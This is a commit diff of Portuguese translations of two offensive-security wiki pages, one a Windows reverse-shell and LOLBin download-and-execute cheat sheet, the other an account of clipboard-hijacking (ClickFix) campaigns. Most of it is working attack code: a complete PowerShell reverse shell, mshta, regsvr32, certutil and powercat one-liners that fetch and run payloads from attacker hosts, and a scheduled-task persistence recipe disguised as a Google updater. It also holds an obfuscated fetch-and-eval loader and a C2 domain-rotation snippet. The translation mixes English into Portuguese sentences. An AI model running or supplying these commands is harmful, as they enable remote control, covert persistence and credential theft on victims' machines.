Translated ['src/windows-hardening/av-bypass.md', 'src/generic-hacking/r

2025-10-10 18:36:50 +00:00 · 2025-09-29 13:27:08 +00:00 · 2025-09-29 13:27:08 +00:00 · 43da6b9112
commit 43da6b9112
parent 47e7b8cc51
4 changed files with 491 additions and 371 deletions
--- a/src/generic-hacking/reverse-shells/windows.md
+++ b/src/generic-hacking/reverse-shells/windows.md
@ -4,8 +4,8 @@

 ## Lolbas

-A página [lolbas-project.github.io](https://lolbas-project.github.io/) é para Windows como [https://gtfobins.github.io/](https://gtfobins.github.io/) é para Linux.\
-Obviamente, **não existem arquivos SUID ou privilégios sudo no Windows**, mas é útil saber **como** alguns **binários** podem ser (mal)usados para realizar algum tipo de ações inesperadas, como **executar código arbitrário.**
+A página [lolbas-project.github.io](https://lolbas-project.github.io/) é para Windows assim como [https://gtfobins.github.io/](https://gtfobins.github.io/) é para linux.\
+Obviamente, **there aren't SUID files or sudo privileges in Windows**, mas é útil saber **how** alguns **binaries** podem ser (ab)usados para realizar algum tipo de ação inesperada como **execute arbitrary code.**

 ## NC
 ```bash
@ -27,7 +27,7 @@ ncat -l <PORT eg.443> --ssl
 ```
 ## SBD

-**[sbd](https://www.kali.org/tools/sbd/) é uma alternativa portátil e segura ao Netcat**. Funciona em sistemas semelhantes ao Unix e Win32. Com recursos como criptografia forte, execução de programas, portas de origem personalizáveis e reconexão contínua, o sbd oferece uma solução versátil para comunicação TCP/IP. Para usuários do Windows, a versão sbd.exe da distribuição Kali Linux pode ser usada como um substituto confiável para o Netcat.
+**[sbd](https://www.kali.org/tools/sbd/) é uma alternativa portátil e segura ao Netcat**. Ele funciona em sistemas Unix-like e Win32. Com recursos como criptografia forte, execução de programas, portas de origem personalizáveis e reconexão contínua, o sbd oferece uma solução versátil para comunicação TCP/IP. Para usuários do Windows, a versão sbd.exe da distribuição Kali Linux pode ser usada como um substituto confiável para o Netcat.
 ```bash
 # Victims machine
 sbd -l -p 4444 -e bash -v -n
@ -82,22 +82,22 @@ Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadStr
 echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
 ```
 Processo realizando chamada de rede: **powershell.exe**\
-Payload escrito no disco: **NÃO** (_pelo menos em nenhum lugar que eu consegui encontrar usando procmon!_)
+Payload gravado em disco: **NÃO** (_pelo menos em nenhum lugar que eu pude encontrar usando procmon !_)
 ```bash
 powershell -exec bypass -f \\webdavserver\folder\payload.ps1
 ```
 Processo realizando chamada de rede: **svchost.exe**\
-Payload escrito no disco: **Cache local do cliente WebDAV**
+Payload gravado no disco: **cache local do cliente WebDAV**\

-**Uma linha:**
+**Comando de uma linha:**
 ```bash
 $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
 ```
-**Obtenha mais informações sobre diferentes Shells do Powershell no final deste documento**
+**Obtenha mais informações sobre diferentes Powershell Shells no final deste documento**

 ## Mshta

- [Daqui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
+- [A partir daqui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
 ```bash
 mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
 ```
@ -109,15 +109,15 @@ mshta http://webserver/payload.hta
 ```bash
 mshta \\webdavserver\folder\payload.hta
 ```
-#### **Exemplo de shell reverso hta-psh (use hta para baixar e executar backdoor PS)**
+#### **Exemplo de hta-psh reverse shell (usar hta para baixar e executar PS backdoor)**
 ```xml
 <scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
 ```
-**Você pode baixar e executar muito facilmente um zumbi Koadic usando o stager hta**
+**Você pode baixar & executar muito facilmente um Koadic zombie usando o stager hta**

-#### exemplo de hta
+#### hta exemplo

-[**Daqui**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
+[**From here**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
 ```xml
 <html>
 <head>
@ -134,7 +134,7 @@ new ActiveXObject('WScript.Shell').Run(c);
 ```
 #### **mshta - sct**

-[**Daqui**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
+[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
 ```xml
 <?XML version="1.0"?>
 <!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close();  -->
@ -161,13 +161,13 @@ msf exploit(windows/misc/hta_server) > exploit
 ```bash
 Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit
 ```
-**Detectado pelo defensor**
+**Detectado pelo Defender**

 ## **Rundll32**

-[**Exemplo de dll hello world**](https://github.com/carterjones/hello-world-dll)
+[**Dll hello world example**](https://github.com/carterjones/hello-world-dll)

- [Daqui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
+- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
 ```bash
 rundll32 \\webdavserver\folder\payload.dll,entrypoint
 ```
@ -175,11 +175,11 @@ rundll32 \\webdavserver\folder\payload.dll,entrypoint
 ```bash
 rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
 ```
-**Detectado pelo defensor**
+**Detectado pelo defender**

 **Rundll32 - sct**

-[**Daqui**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
+[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
 ```xml
 <?XML version="1.0"?>
 <!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close();  -->
@ -211,7 +211,7 @@ rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject(
 ```
 ## Regsvr32

- [Daqui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
+- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
 ```bash
 regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
 ```
@ -219,11 +219,31 @@ regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
 ```
 regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
 ```
-**Detectado pelo defensor**
+**Detectado pelo Defender**

-#### Regsvr32 -sct
+#### Regsvr32 – exportação arbitrária de DLL com o argumento /i (gatekeeping & persistence)

-[**Daqui**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
+Além de carregar scriptlets remotos (`scrobj.dll`), o `regsvr32.exe` carregará uma DLL local e invocará suas exports `DllRegisterServer`/`DllUnregisterServer`. Loaders customizados frequentemente abusam disso para executar código arbitrário enquanto se misturam a um LOLBin assinado. Duas notas de tradecraft observadas na prática:
+
+- Gatekeeping argument: a DLL sai a menos que um switch específico seja passado via `/i:<arg>`, p.ex. `/i:--type=renderer` para imitar processos filho do Chromium renderer. Isso reduz execuções acidentais e frustra sandboxes.
+- Persistence: agende o `regsvr32` para executar a DLL com modo silencioso + privilégios elevados e o argumento `/i` necessário, mascarando-se como uma tarefa de atualização:
+```powershell
+Register-ScheduledTask \
+-Action (New-ScheduledTaskAction -Execute "regsvr32" -Argument "/s /i:--type=renderer \"%APPDATA%\Microsoft\SystemCertificates\<name>.dll\"") \
+-Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) \
+-TaskName 'GoogleUpdaterTaskSystem196.6.2928.90.{FD10B0DF-...}' \
+-TaskPath '\\GoogleSystem\\GoogleUpdater' \
+-Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0 -DontStopOnIdleEnd) \
+-RunLevel Highest
+```
+
+Veja também: variante ClickFix clipboard‑to‑PowerShell que stages um JS loader e mais tarde persiste com `regsvr32`.
+{{#ref}}
+../../generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md
+{{#endref}}
+
+
+[**From here**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
 ```html
 <?XML version="1.0"?>
 <!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
@ -249,11 +269,11 @@ set lhost 10.2.0.5
 run
 #You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
 ```
-**Você pode baixar e executar muito facilmente um zumbi Koadic usando o stager regsvr**
+**Você pode baixar e executar muito facilmente um zombie Koadic usando o stager regsvr**

 ## Certutil

- [Daqui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
+- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)

 Baixe um B64dll, decodifique-o e execute-o.
 ```bash
@ -263,7 +283,7 @@ Baixe um B64exe, decodifique-o e execute-o.
 ```bash
 certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
 ```
-**Detectado pelo defensor**
+**Detectado pelo Defender**

 ## **Cscript/Wscript**
 ```bash
@ -273,14 +293,14 @@ powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0
 ```bash
 msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs
 ```
-**Detectado pelo defensor**
+**Detectado pelo Defender**

 ## PS-Bat
 ```bash
 \\webdavserver\folder\batchfile.bat
 ```
 Processo realizando chamada de rede: **svchost.exe**\
-Payload escrito no disco: **Cache local do cliente WebDAV**
+Payload escrito no disco: **WebDAV client local cache**
 ```bash
 msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
 impacket-smbserver -smb2support kali `pwd`
@ -289,7 +309,7 @@ impacket-smbserver -smb2support kali `pwd`
 ```bash
 \\10.8.0.3\kali\shell.bat
 ```
-**Detectado pelo defensor**
+**Detectado pelo Defender**

 ## **MSIExec**

@ -306,11 +326,11 @@ victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi

 ## **Wmic**

- [Daqui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
+- [A partir daqui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
 ```bash
 wmic os get /format:"https://webserver/payload.xsl"
 ```
-Exemplo de arquivo xsl [a partir daqui](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):
+Exemplo de arquivo xsl [from here](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):
 ```xml
 <?xml version='1.0'?>
 <stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
@ -324,16 +344,16 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
 ```
 **Não detectado**

-**Você pode baixar e executar muito facilmente um zumbi Koadic usando o stager wmic**
+**Você pode baixar e executar muito facilmente um zombie Koadic usando o stager wmic**

 ## Msbuild

- [Daqui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
+- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
 ```
 cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
 ```
-Você pode usar essa técnica para contornar a Lista de Permissão de Aplicativos e as restrições do Powershell.exe. Como você será solicitado a usar um shell PS.\
-Basta baixar isso e executá-lo: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
+Você pode usar esta técnica para contornar Application Whitelisting e restrições do Powershell.exe. Você terá um shell PS.\
+Basta baixá-lo e executá-lo: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
 ```
 C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
 ```
@ -341,61 +361,61 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj

 ## **CSC**

-Compile o código C# na máquina da vítima.
+Compilar código C# na máquina da vítima.
 ```
 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
 ```
-Você pode baixar um shell reverso básico em C# daqui: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
+Você pode baixar um reverse shell básico em C# aqui: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)

 **Não detectado**

 ## **Regasm/Regsvc**

- [Daqui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
+- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
 ```bash
 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
 ```
-**Eu não tentei**
+**Não testei**

 [**https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182**](https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182)

 ## Odbcconf

- [Daqui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
+- [A partir daqui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
 ```bash
 odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
 ```
-**Eu não tentei isso**
+**Não testei**

 [**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2)

-## Shells do Powershell
+## Powershell Shells

 ### PS-Nishang

 [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)

-Na pasta **Shells**, há muitas shells diferentes. Para baixar e executar Invoke-_PowerShellTcp.ps1_, faça uma cópia do script e adicione ao final do arquivo:
+Na pasta **Shells**, há muitos shells diferentes. Para baixar e executar Invoke-_PowerShellTcp.ps1_ faça uma cópia do script e anexe ao final do arquivo:
 ```
 Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
 ```
-Comece a servir o script em um servidor web e execute-o no lado da vítima:
+Comece servindo o script em um servidor web e execute-o no lado da vítima:
 ```
 powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
 ```
 O Defender não o detecta como código malicioso (ainda, 3/04/2019).

-**TODO: Verificar outras shells nishang**
+**TODO: Verificar outros nishang shells**

 ### **PS-Powercat**

 [**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)

-Baixe, inicie um servidor web, inicie o listener e execute-o no lado da vítima:
+Baixe, inicie um servidor web, inicie o listener e execute-o na máquina da vítima:
 ```
 powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
 ```
-O Defender não o detecta como código malicioso (ainda, 03/04/2019).
+O Defender não o detecta como código malicioso (ainda, 3/04/2019).

 **Outras opções oferecidas pelo powercat:**

@ -420,7 +440,7 @@ powercat -l -p 443 -i C:\inputfile -rep

 [https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire)

-Crie um lançador do powershell, salve-o em um arquivo e faça o download e execute-o.
+Crie um powershell launcher, salve-o em um arquivo e faça o download e execute-o.
 ```
 powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
 ```
@ -430,7 +450,7 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c

 [https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)

-Crie uma versão em powershell do backdoor do metasploit usando unicorn
+Crie uma versão powershell de um backdoor do metasploit usando unicorn
 ```
 python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
 ```
@ -446,9 +466,9 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"

 ## Mais

-[PS>Attack](https://github.com/jaredhaight/PSAttack) console PS com alguns módulos PS ofensivos pré-carregados (cifrado)\
+[PS>Attack](https://github.com/jaredhaight/PSAttack) console PS com alguns módulos ofensivos de PS pré-carregados (cifrado)\
 [https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
-WinPWN](https://github.com/SecureThisShit/WinPwn) console PS com alguns módulos PS ofensivos e detecção de proxy (IEX)
+WinPWN](https://github.com/SecureThisShit/WinPwn) console PS com alguns módulos ofensivos de PS e detecção de proxy (IEX)

 ## Referências

@ -459,5 +479,6 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) console PS com alguns módulos
 - [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/)
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
 - [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
+- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)

 {{#include ../../banners/hacktricks-training.md}}
--- a/src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md
+++ b/src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md
@ -1,16 +1,16 @@
-# Ataques de Sequestro de Área de Transferência (Pastejacking)
+# Clipboard Hijacking (Pastejacking) Attacks

 {{#include ../../banners/hacktricks-training.md}}

-> "Nunca cole nada que você não copiou." – conselho antigo, mas ainda válido
+> "Nunca cole nada que você não copiou você mesmo." – conselho antigo, mas ainda válido

 ## Visão Geral

-O sequestro de área de transferência – também conhecido como *pastejacking* – explora o fato de que os usuários rotineiramente copiam e colam comandos sem inspecioná-los. Uma página da web maliciosa (ou qualquer contexto capaz de JavaScript, como um aplicativo Electron ou Desktop) insere programaticamente texto controlado pelo atacante na área de transferência do sistema. As vítimas são incentivadas, normalmente por instruções de engenharia social cuidadosamente elaboradas, a pressionar **Win + R** (diálogo Executar), **Win + X** (Acesso Rápido / PowerShell) ou abrir um terminal e *colar* o conteúdo da área de transferência, executando imediatamente comandos arbitrários.
+Clipboard hijacking – also known as *pastejacking* – explora o fato de que os usuários rotineiramente copiam e colam comandos sem inspecioná-los. Uma página web maliciosa (ou qualquer contexto com suporte a JavaScript, como uma aplicação Electron ou Desktop) coloca programaticamente texto controlado pelo atacante na área de transferência do sistema. As vítimas são incentivadas, normalmente por instruções de social-engineering cuidadosamente elaboradas, a pressionar **Win + R** (Run dialog), **Win + X** (Quick Access / PowerShell), ou abrir um terminal e *colar* o conteúdo da área de transferência, executando imediatamente comandos arbitrários.

-Como **nenhum arquivo é baixado e nenhum anexo é aberto**, a técnica contorna a maioria dos controles de segurança de e-mail e conteúdo da web que monitoram anexos, macros ou execução direta de comandos. O ataque é, portanto, popular em campanhas de phishing que entregam famílias de malware comuns, como NetSupport RAT, carregador Latrodectus ou Lumma Stealer.
+Como **nenhum arquivo é baixado e nenhum anexo é aberto**, a técnica contorna a maioria dos controles de segurança de e-mail e de conteúdo web que monitoram anexos, macros ou execução direta de comandos. O ataque é, portanto, popular em campanhas de phishing que entregam famílias de malware commodity, como NetSupport RAT, Latrodectus loader ou Lumma Stealer.

-## Prova de Conceito em JavaScript
+## JavaScript Proof-of-Concept
 ```html
 <!-- Any user interaction (click) is enough to grant clipboard write permission in modern browsers -->
 <button id="fix" onclick="copyPayload()">Fix the error</button>
@ -22,17 +22,17 @@ navigator.clipboard.writeText(payload)
 }
 </script>
 ```
-Campanhas mais antigas usavam `document.execCommand('copy')`, enquanto as mais novas dependem da **Clipboard API** assíncrona (`navigator.clipboard.writeText`).
+Campanhas mais antigas usavam `document.execCommand('copy')`, as mais novas dependem da assíncrona **Clipboard API** (`navigator.clipboard.writeText`).

-## O Fluxo ClickFix / ClearFake
+## Fluxo ClickFix / ClearFake

-1. O usuário visita um site com erro de digitação ou comprometido (por exemplo, `docusign.sa[.]com`)
-2. O JavaScript **ClearFake** injetado chama um helper `unsecuredCopyToClipboard()` que armazena silenciosamente uma linha de comando PowerShell codificada em Base64 na área de transferência.
+1. O usuário visita um site typosquatted ou comprometido (por exemplo `docusign.sa[.]com`)
+2. JavaScript **ClearFake** injetado chama um helper `unsecuredCopyToClipboard()` que armazena silenciosamente um comando PowerShell de uma linha codificado em Base64 na área de transferência.
 3. Instruções em HTML dizem à vítima: *“Pressione **Win + R**, cole o comando e pressione Enter para resolver o problema.”*
-4. `powershell.exe` é executado, baixando um arquivo que contém um executável legítimo mais uma DLL maliciosa (classic DLL sideloading).
-5. O loader descriptografa estágios adicionais, injeta shellcode e instala persistência (por exemplo, tarefa agendada) – executando, em última instância, NetSupport RAT / Latrodectus / Lumma Stealer.
+4. `powershell.exe` é executado, baixando um arquivo que contém um executável legítimo e uma DLL maliciosa (classic DLL sideloading).
+5. O loader descriptografa estágios adicionais, injeta shellcode e instala persistence (por exemplo, scheduled task) – acabando por executar NetSupport RAT / Latrodectus / Lumma Stealer.

-### Exemplo de Cadeia NetSupport RAT
+### Exemplo de cadeia NetSupport RAT
 ```powershell
 powershell -nop -w hidden -enc <Base64>
 # ↓ Decodes to:
@ -40,50 +40,86 @@ Invoke-WebRequest -Uri https://evil.site/f.zip -OutFile %TEMP%\f.zip ;
 Expand-Archive %TEMP%\f.zip -DestinationPath %TEMP%\f ;
 %TEMP%\f\jp2launcher.exe             # Sideloads msvcp140.dll
 ```
-* `jp2launcher.exe` (Java WebStart legítimo) procura seu diretório por `msvcp140.dll`.
-* O DLL malicioso resolve dinamicamente APIs com **GetProcAddress**, baixa dois binários (`data_3.bin`, `data_4.bin`) via **curl.exe**, os descriptografa usando uma chave XOR rolante `"https://google.com/"`, injeta o shellcode final e descompacta **client32.exe** (NetSupport RAT) em `C:\ProgramData\SecurityCheck_v1\`.
+* `jp2launcher.exe` (legítimo Java WebStart) procura em seu diretório por `msvcp140.dll`.
+* A DLL maliciosa resolve dinamicamente APIs com **GetProcAddress**, baixa dois binários (`data_3.bin`, `data_4.bin`) via **curl.exe**, descriptografa-os usando uma chave XOR rotativa `"https://google.com/"`, injeta o shellcode final e descompacta **client32.exe** (NetSupport RAT) em `C:\ProgramData\SecurityCheck_v1\`.

 ### Latrodectus Loader
 ```
 powershell -nop -enc <Base64>  # Cloud Identificator: 2031
 ```
-1. Baixa `la.txt` com **curl.exe**
-2. Executa o downloader JScript dentro do **cscript.exe**
-3. Busca um payload MSI → solta `libcef.dll` ao lado de uma aplicação assinada → sideloading de DLL → shellcode → Latrodectus.
+1. Faz download de `la.txt` com **curl.exe**
+2. Executa o JScript downloader dentro de **cscript.exe**
+3. Busca um payload MSI → grava `libcef.dll` ao lado de uma aplicação assinada → DLL sideloading → shellcode → Latrodectus.

 ### Lumma Stealer via MSHTA
 ```
 mshta https://iplogger.co/xxxx =+\\xxx
 ```
-A chamada **mshta** inicia um script PowerShell oculto que recupera `PartyContinued.exe`, extrai `Boat.pst` (CAB), reconstrói `AutoIt3.exe` através de `extrac32` e concatenação de arquivos e, finalmente, executa um script `.a3x` que exfiltra credenciais do navegador para `sumeriavgv.digital`.
+A chamada **mshta** lança um script PowerShell oculto que recupera `PartyContinued.exe`, extrai `Boat.pst` (CAB), reconstrói `AutoIt3.exe` através de `extrac32` e concatenação de arquivos e, finalmente, executa um script `.a3x` que exfiltra credenciais do navegador para `sumeriavgv.digital`.

-## Detecção e Caça
+## ClickFix: Clipboard → PowerShell → JS eval → Startup LNK with rotating C2 (PureHVNC)

-As equipes azuis podem combinar telemetria de área de transferência, criação de processos e registro para identificar abusos de pastejacking:
+Algumas campanhas ClickFix pulam downloads de arquivos completamente e instruem as vítimas a colar um one‑liner que busca e executa JavaScript via WSH, o mantém persistente e rotaciona o C2 diariamente. Exemplo de cadeia observada:
+```powershell
+powershell -c "$j=$env:TEMP+'\a.js';sc $j 'a=new
+ActiveXObject(\"MSXML2.XMLHTTP\");a.open(\"GET\",\"63381ba/kcilc.ellrafdlucolc//:sptth\".split(\"\").reverse().join(\"\"),0);a.send();eval(a.responseText);';wscript $j" Prеss Entеr
+```
+Principais características
+- URL ofuscada invertida em tempo de execução para burlar inspeção casual.
+- JavaScript persiste via um Startup LNK (WScript/CScript) e seleciona o C2 pelo dia atual – permitindo rápida rotação de domínios.

-* Registro do Windows: `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` mantém um histórico de comandos **Win + R** – procure por entradas Base64 / ofuscadas incomuns.
-* ID de Evento de Segurança **4688** (Criação de Processo) onde `ParentImage` == `explorer.exe` e `NewProcessName` em { `powershell.exe`, `wscript.exe`, `mshta.exe`, `curl.exe`, `cmd.exe` }.
-* ID de Evento **4663** para criações de arquivos em `%LocalAppData%\Microsoft\Windows\WinX\` ou pastas temporárias logo antes do evento 4688 suspeito.
-* Sensores de área de transferência EDR (se presentes) – correlacione `Clipboard Write` seguido imediatamente por um novo processo PowerShell.
+Fragmento JS mínimo usado para rotacionar C2s por data:
+```js
+function getURL() {
+var C2_domain_list = ['stathub.quest','stategiq.quest','mktblend.monster','dsgnfwd.xyz','dndhub.xyz'];
+var current_datetime = new Date().getTime();
+var no_days = getDaysDiff(0, current_datetime);
+return 'https://'
+ getListElement(C2_domain_list, no_days)
+ '/Y/?t=' + current_datetime
+ '&v=5&p=' + encodeURIComponent(user_name + '_' + pc_name + '_' + first_infection_datetime);
+}
+```
+A próxima etapa geralmente implanta um loader que estabelece persistência e puxa um RAT (por exemplo, PureHVNC), frequentemente fixando TLS a um certificado hardcoded e fragmentando o tráfego.

-## Mitigações
+Detection ideas specific to this variant
+- Process tree: `explorer.exe` → `powershell.exe -c` → `wscript.exe <temp>\a.js` (or `cscript.exe`).
+- Startup artifacts: LNK in `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup` invoking WScript/CScript with a JS path under `%TEMP%`/`%APPDATA%`.
+- Registry/RunMRU and command‑line telemetry containing `.split('').reverse().join('')` or `eval(a.responseText)`.
+- Repeated `powershell -NoProfile -NonInteractive -Command -` with large stdin payloads to feed long scripts without long command lines.
+- Scheduled Tasks that subsequently execute LOLBins such as `regsvr32 /s /i:--type=renderer "%APPDATA%\Microsoft\SystemCertificates\<name>.dll"` under an updater‑looking task/path (e.g., `\GoogleSystem\GoogleUpdater`).

-1. Fortalecimento do navegador – desative o acesso de gravação na área de transferência (`dom.events.asyncClipboard.clipboardItem` etc.) ou exija gesto do usuário.
-2. Conscientização de segurança – ensine os usuários a *digitar* comandos sensíveis ou colá-los primeiro em um editor de texto.
-3. Modo de Linguagem Constrangida do PowerShell / Política de Execução + Controle de Aplicativos para bloquear one-liners arbitrários.
-4. Controles de rede – bloqueie solicitações de saída para domínios conhecidos de pastejacking e C2 de malware.
+Threat hunting
+- Daily‑rotating C2 hostnames and URLs with `.../Y/?t=<epoch>&v=5&p=<encoded_user_pc_firstinfection>` pattern.
+- Correlate clipboard write events followed by Win+R paste then immediate `powershell.exe` execution.

-## Truques Relacionados

-* O **Discord Invite Hijacking** frequentemente abusa da mesma abordagem ClickFix após atrair usuários para um servidor malicioso:
+Blue-teams can combine clipboard, process-creation and registry telemetry to pinpoint pastejacking abuse:
+
+* Windows Registry: `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` keeps a history of **Win + R** commands – look for unusual Base64 / obfuscated entries.
+* Security Event ID **4688** (Process Creation) where `ParentImage` == `explorer.exe` and `NewProcessName` in { `powershell.exe`, `wscript.exe`, `mshta.exe`, `curl.exe`, `cmd.exe` }.
